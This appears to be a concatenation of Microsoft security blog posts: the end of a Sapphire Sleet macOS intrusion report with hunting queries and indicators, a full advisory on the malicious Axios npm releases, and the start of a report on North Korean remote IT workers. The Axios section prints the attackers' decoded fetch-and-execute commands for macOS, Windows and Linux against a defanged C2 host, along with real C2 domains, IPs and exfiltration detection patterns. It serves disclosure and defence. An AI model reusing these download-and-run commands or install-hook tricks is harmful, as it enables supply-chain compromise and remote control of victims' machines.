 | where Timestamp > ago(30d)
 | where FolderPath startswith "/Library/LaunchDaemons/"
 | where FileName startswith "com.google." or FileName startswith "com.apple."
 | where ActionType == "FileCreated"
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256

Malicious binary execution from suspicious paths

Search for execution of binaries from paths commonly used by Sapphire Sleet, including hidden Library directories, /private/tmp/, and user-specific Application Support folders.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FolderPath has_any (
     "Library/Services/services",
     "Application Support/iCloud/icloudz",
     "Library/Google/com.google.chromes.updaters",
     "/private/tmp/SystemUpdate/",
     "/private/tmp/SoftwareUpdate/",
     "com.apple.cli"
 )
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName, SHA256

Credential harvesting using dscl authentication check

Search for dscl -authonly commands used by the fake password dialog (systemupdate.app) to validate stolen credentials before exfiltration.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "dscl" or ProcessCommandLine has "dscl"
 | where ProcessCommandLine has "-authonly"
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Telegram Bot API exfiltration detection

Search for network connections to Telegram Bot API endpoints, used by this campaign to exfiltrate stolen credentials.

DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has "api.telegram.org" and RemoteUrl has "/bot"
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

Reflective code loading using NSCreateObjectFileImageFromMemory

Search for evidence of reflective Mach-O loading, the technique used by the icloudz backdoor to execute code in memory.

DeviceEvents
 | where Timestamp > ago(30d)
 | where ActionType has "NSCreateObjectFileImageFromMemory"
     or AdditionalFields has "NSCreateObjectFileImageFromMemory"
 | project Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, AdditionalFields

Suspicious caffeinate and sleep prevention activity

Search for caffeinate process stop-and-restart patterns used by the services and icloudz backdoors to prevent the system from sleeping during backdoor operations.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where ProcessCommandLine has "caffeinate"
 | where InitiatingProcessCommandLine has_any ("icloudz", "services", "chromes.updaters", "zsh -i")
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect known malicious file hashes

Search for the specific malicious file hashes associated with this Sapphire Sleet campaign across file events.

let malicious_hashes = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where SHA256 in (malicious_hashes)
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, SHA256, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Data staging and exfiltration activity

Search for ZIP archive creation in /tmp/ directories followed by curl uploads matching the staging-and-exfiltration pattern used for browser data, crypto wallets, Telegram sessions, SSH keys, and Apple Notes.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "zip" and ProcessCommandLine has "/tmp/")
     or (ProcessCommandLine has "curl" and ProcessCommandLine has_any ("tapp_", "ext_", "ldg_", "exds_", "hs_", "nt_", "lg_"))
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Script Editor launching suspicious child processes

Search for Script Editor (the default handler for .scpt files) spawning curl, osascript, or shell commands—the initial execution vector in this campaign.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where InitiatingProcessFileName == "Script Editor" or InitiatingProcessCommandLine has "Script Editor"
 | where FileName has_any ("curl", "osascript", "sh", "bash", "zsh")
 | project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network indicators of compromise

The following query checks for connections to the Sapphire Sleet C2 domains and IP addresses across network session data:

let lookback = 30d;
 let ioc_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let ioc_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where TimeGenerated > ago(lookback)
 | where RemoteUrl has_any (ioc_domains) or RemoteIP in (ioc_ips)
 | summarize EventCount=count() by DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName

Detect file hash indicators of compromise

The following query searches for the known malicious file hashes associated with this campaign across file, process, and security event data:

let selectedTimestamp = datetime(2026-01-01T00:00:00.0000000Z);
 let FileSHA256 = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 search in (AlertEvidence, DeviceEvents, DeviceFileEvents, DeviceImageLoadEvents, DeviceProcessEvents, DeviceNetworkEvents, SecurityEvent, ThreatIntelligenceIndicator)
 TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d))
 and (SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Detect Microsoft Defender Antivirus detections related to Sapphire Sleet

The following query searches for Defender Antivirus alerts for the specific malware families used in this campaign and joins with device information for enriched context:

let SapphireSleet_threats = dynamic([
     "Trojan:MacOS/NukeSped.D",
     "Trojan:MacOS/PassStealer.D",
     "Trojan:MacOS/SuspMalScript.C",
     "Trojan:MacOS/SuspInfostealExec.C"
 ]);
 SecurityAlert
 | where ProviderName == "MDATP"
 | extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
 | extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
 | where ThreatName in~ (SapphireSleet_threats) or ThreatFamilyName in~ (SapphireSleet_threats)
 | extend CompromisedEntity = tolower(CompromisedEntity)
 | join kind=inner (
     DeviceInfo
     | extend DeviceName = tolower(DeviceName)
 ) on $left.CompromisedEntity == $right.DeviceName
 | summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
 | extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
 | extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
 | project-away DomainIndex
 | project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious file hashes

Domains and IP addresses

Acknowledgments

Existing blogs with similar behavior tracked:

• https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering
• https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthie/117842/
• https://x.com/malwrhunterteam/status/2008831892616081508
• https://x.com/patrickwardle/status/2009008936771543341?s=46

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Dissecting Sapphire Sleet’s macOS intrusion from lure to compromise appeared first on Microsoft Security Blog.

On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

• macOS: packages.npm.org/product0 
• Windows: packages.npm.org/product1 
• Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond. 

• SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

• SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
• SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

• SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

• SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1). 

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033. 

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

• Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
• Use overrides to force pinned versions for transitive dependencies.
• Flush the local cache with “npm cache clean –force“.
• Disable or restrict automated dependency bots for critical packages.
• Adopt Trusted Publishing with OIDC to eliminate stored credentials.
• Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
• Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
• Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
• Rotate all secrets and credentials that are exposed to compromised systems.
• When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
• Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

• Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``

• Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "overrides": {
    "axios": "1.14.0"
  }
}
``

• Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:

# Dependabot example
ignore:
  - dependency-name: "axios"

• Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
• Assess the potential blast radius from affected endpoints
  • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
  • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
  • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Indicators of compromise

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Activity profile: Mitigating the Axios npm supply chain compromise
• Threat profile overview: North Korea state-sponsored activity
• Technique profile: Malicious npm lifecycle scripts
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

North Korea has deployed thousands of remote IT workers to assume jobs in software and web development as part of a revenue generation scheme for the North Korean government. These highly skilled workers are most often located in North Korea, China, and Russia, and use tools such as virtual private networks (VPNs) and remote monitoring and management (RMM) tools together with witting accomplices to conceal their locations and identities.

Historically, North Korea’s fraudulent remote worker scheme has focused on targeting United States (US) companies in the technology, critical manufacturing, and transportation sectors. However, we’ve observed North Korean remote workers evolving to broaden their scope to target various industries globally that offer technology-related roles. Since 2020, the US government and cybersecurity community have identified thousands of North Korean workers infiltrating companies across various industries.

Organizations can protect themselves from this threat by implementing stricter pre-employment vetting measures and creating policies to block unapproved IT management tools. For example, when evaluating potential employees, employers and recruiters should ensure that the candidates’ social media and professional accounts are unique and verify their contact information and digital footprint. Organizations should also be particularly cautious with staffing company employees, check for consistency in resumes, and use video calls to confirm a worker’s identity.

Microsoft Threat Intelligence tracks North Korean IT remote worker activity as Jasper Sleet (formerly known as Storm-0287). We also track several other North Korean activity clusters that pursue fraudulent employment using similar techniques and tools, including Storm-1877 and Moonstone Sleet. To disrupt this activity and protect our customers, we’ve suspended 3,000 known Microsoft consumer accounts (Outlook/Hotmail) created by North Korean IT workers. We have also implemented several detections to alert our customers of this activity through Microsoft Entra ID Protection and Microsoft Defender XDR as noted at the end of this blog. As with any observed nation-state threat actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments. As we continue to observe more attempts by threat actors to leverage AI, not only do we report on them, but we also have principles in place to take action against them.

This blog provides additional information on the North Korean remote IT worker operations we published previously, including Jasper Sleet’s usual TTPs to secure employment, such as using fraudulent identities and facilitators. We also provide recent observations regarding their use of AI tools. Finally, we share detailed guidance on how to investigate, monitor, and remediate possible North Korean remote IT worker activity, as well as detections and hunting capabilities to surface this threat.

From North Korea to the world: The remote IT workforce

Since at least early 2020, Microsoft has tracked a global operation conducted by North Korea in which skilled IT workers apply for remote job opportunities to generate revenue and support state interests. These workers present themselves as foreign (non-North Korean) or domestic-based teleworkers and use a variety of fraudulent means to bypass employment verification controls.

North Korea’s fraudulent remote worker scheme has since evolved, establishing itself as a well-developed operation that has allowed North Korean remote workers to infiltrate technology-related roles across various industries. In some cases, victim organizations have even reported that remote IT workers were some of their most talented employees. Historically, this operation has focused on applying for IT, software development, and administrator positions in the technology sector. Such positions provide North Korean threat actors access to highly sensitive information to conduct information theft and extortion, among other operations.

North Korean IT workers are a multifaceted threat because not only do they generate revenue for the North Korean regime, which violates international sanctions, they also use their access to steal sensitive intellectual property, source code, or trade secrets. In some cases, these North Korean workers even extort their employer into paying them in exchange for not publicly disclosing the company’s data.

Between 2020 and 2022, the US government found that over 300 US companies in multiple industries, including several Fortune 500 companies, had unknowingly employed these workers, indicating the magnitude of this threat. The workers also attempted to gain access to information at two government agencies. Since then, the cybersecurity community has continued to detect thousands of North Korean workers. On January 3, 2025, the Justice Department released an indictment identifying two North Korean nationals and three facilitators responsible for conducting fraudulent work between 2018 and 2024. The indicted individuals generated a revenue of at least US$866,255 from only ten of the at least 64 infiltrated US companies.

North Korean threat actors are evolving across the threat landscape to incorporate more sophisticated tactics and tools to conduct malicious employment-related activity, including the use of custom and AI-enabled software.

Tactics and techniques

The tactics and techniques employed by North Korean remote IT workers involve a sophisticated ecosystem of crafting fake personas, performing remote work, and securing payments. North Korean IT workers apply for remote roles, in various sectors, at organizations across the globe.

They create, rent, or procure stolen identities that match the geo-location of their target organizations (for example, they would establish a US-based identity to apply for roles at US-based companies), create email accounts and social media profiles, and establish legitimacy through fake portfolios and profiles on developer platforms like GitHub and LinkedIn. Additionally, they leverage AI tools to enhance their operations, including image creation and voice-changing software. Facilitators play a crucial role in validating fraudulent identities and managing logistics, such as forwarding company hardware and creating accounts on freelance job websites. To evade detection, these workers use VPNs, virtual private servers (VPSs), and proxy services as well as RMM tools to connect to a device housed at a facilitator’s laptop farm located in the country of the job.

Crafting fake personas and profiles

